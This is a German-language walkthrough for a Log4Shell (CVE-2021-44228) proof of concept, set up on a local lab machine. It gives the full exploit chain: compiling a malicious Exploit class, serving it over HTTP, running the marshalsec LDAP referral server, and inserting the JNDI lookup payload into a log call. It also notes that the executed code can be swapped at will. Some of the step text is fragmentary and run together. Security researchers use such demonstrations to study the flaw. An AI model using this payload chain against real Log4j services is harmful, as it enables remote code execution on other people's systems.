
Proof-of-Concept für Log4Shell (CVE-2021-44228), das die JNDI-basierte Remote-Codeausführung über LDAP- und HTTP-Server demonstriert.
Exploit.java in einen anderen Ordner. In meinem Fall habe ich einen Ordner rce im Home-Verzeichnis erstellt. /home/coldfusionx/rce
Exploit.java
Hier können Sie den Remote-Code nach Belieben ändern. In diesem Fall würde auf einer Ubuntu-Maschine gnome-calculator geöffnet.
Exploit.java mit dem Befehl javac Exploit.java kompilieren. Nach erfolgreicher Kompilierung sollte eine neue Datei Exploit.class erstellt werden.
Exploit.class mit python3 -m http.server 8888 zu hosten. Alternativ können Sie auch einen PHP-Server mit dem Befehl php -S 127.0.0.1:8888 verwenden.

Add Configuration
1. Wählen Sie `Application`

2. Wählen Sie die Hauptklasse

3. Wählen Sie das JDK aus und übernehmen Sie die Einstellungen.

4. Sie sollten sehen, dass die Log4j-Anwendung erstellt wurde und bereit zum Ausführen ist.

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" aus, um den LDAP-Server zu starten. Hier ist 127.0.0.1:8888 der Python-Server, der Exploit.class hostet, daher geben wir /#Exploit an.
Schritt 9 : Bearbeiten Sie die JNDI-Payload in log4j.java nach Ihren Anforderungen: logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
In diesem Fall laden wir die Remote-Klasse Exploit. Der LDAP-Referrer-Server leitet die Anfrage an unseren Python-Server weiter, der die schädliche Exploit-Klasse hostet.
Schritt 10 : Führen Sie Log4j aus. Bei erfolgreicher Ausführung sollte ein Gnome-Rechner erscheinen.
